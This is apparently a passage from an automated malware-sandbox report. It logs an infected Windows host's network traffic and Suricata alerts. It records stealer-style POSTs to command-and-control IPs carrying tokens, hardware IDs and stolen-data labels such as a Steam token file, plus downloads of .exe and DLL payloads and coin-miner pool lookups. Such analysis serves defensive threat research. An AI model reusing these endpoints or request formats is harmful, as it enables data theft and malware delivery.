65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="message"files------IDGIJEGHDAECAKECAFCA--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 46.8.231.109Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 2d 2d 0d 0a Data Ascii: ------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file"------GDHIDHIEGIIIECAKEBFB--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"ybncbhylepme------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: GET /vjgg.exe HTTP/1.1Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lnef.exe HTTP/1.1Host: 46.29.235.52Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 46.8.231.109Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 39 38 64 31 63 62 31 30 32 61 62 36 31 38 36 36 65 31 30 36 66 33 30 30 34 63 36 35 61 32 36 62 62 66 35 32 63 32 65 30 62 34 65 62 34 34 39 64 30 64 63 37 62 31 35 31 63 63 61 33 32 61 38 30 36 62 62 39 34 30 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"a98d1cb102ab61866e106f3004c65a26bbf52c2e0b4eb449d0dc7b151cca32a806bb940c------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJJDAAECGHDGDGCGHDB--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.126.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDBGIEBFIIDGCBFBKHost: 147.45.126.10Content-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 42 47 49 45 42 46 49 49 44 47 43 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193-a33c7340-61ca------DBFHDBGIEBFIIDGCBFBKContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------DBFHDBGIEBFIIDGCBFBK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 147.45.126.10Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="mode"1------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 147.45.126.10Content-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="mode"2------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDHost: 147.45.126.10Content-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 32 38 63 36 38 38 38 32 63 65 61 32 30 39 38 61 38 37 37 32 65 65 39 31 34 66 31 39 34 35 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 66 31 30 39 33 61 61 37 65 65 62 61 66 37 35 35 32 30 33 61 30 30 33 37 30 65 32 32 33 37 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 41 45 43 41 45 42 4b 4a 4a 4a 4b 45 42 4b 4b 4a 44 2d 2d 0d 0a Data Ascii: ------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="token"c28c68882cea2098a8772ee914f19459------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="build_id"4f1093aa7eebaf755203a00370e22375------KJDAECAEBKJJJKEBKKJDContent-Disposition: form-data; name="mode"21------KJDAECAEBKJJJKEBKKJD--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIEHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 43 38 33 32 35 45 38 45 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 46 42 46 49 45 48 49 44 42 47 44 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="hwid"3DC8325E8EB92925382193------CFBAFBFIEHIDBGDHCGIEContent-Disposition: form-data; name="build"leva------CFBAFBFIEHIDBGDHCGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDBHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="message"browsers------DHCAAEBKEGHJKEBFHJDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="message"plugins------AKJDGIEHCAEHIEBFBKKK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGHHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 63 64 61 30 65 62 66 37 36 37 33 31 31 61 66 30 34 62 33 39 37 65 65 61 31 33 62 33 64 31 30 61 36 32 35 65 38 36 38 65 39 66 32 66 64 38 65 35 34 37 36 61 66 37 66 37 31 64 32 38 31 62 63 34 62 66 37 65 62 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"73cda0ebf767311af04b397eea13b3d10a625e868e9f2fd8e5476af7f71d281bc4bf7eb5------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="message"fplugins------HJDGCGDBGCAAEBFIECGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHDHost: 185.215.113.100Content-Length: 7271Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIIDHost: 147.45.126.10Content-Length: 7069Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: 147.45.126.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 46.29.235.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49735 -> 46.29.235.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49734 -> 176.113.115.33:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49733 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49739 -> 31.41.244.9:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49742 -> 176.111.174.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49753 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49775 -> 46.29.235.52:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49781 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:64650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49786 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49787 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49789 -> 46.29.235.52:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49744 -> 76.76.21.142:443
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49785 -> 95.179.241.203:443

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /handler/download?action=download&download_id=uuVCUDm6&private_id=cb726802f5fcca567315ff7c87e27582&url=https%253A%252F%252Fyoutransfer.net%252FuuVCUDm6%252Fcb726802f5fcca567315ff7c87e27582 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: youtransfer.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stamppreewntnq.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=JucIrCz8M4V0Z1zjTRa.FFlYqlA1e5ENGA_.qLcWJ.Y-1725603466-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=UUOFWhuuwYuY.kabjHj7o96D61lAGsStIibOP.iArD8-1725603468-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
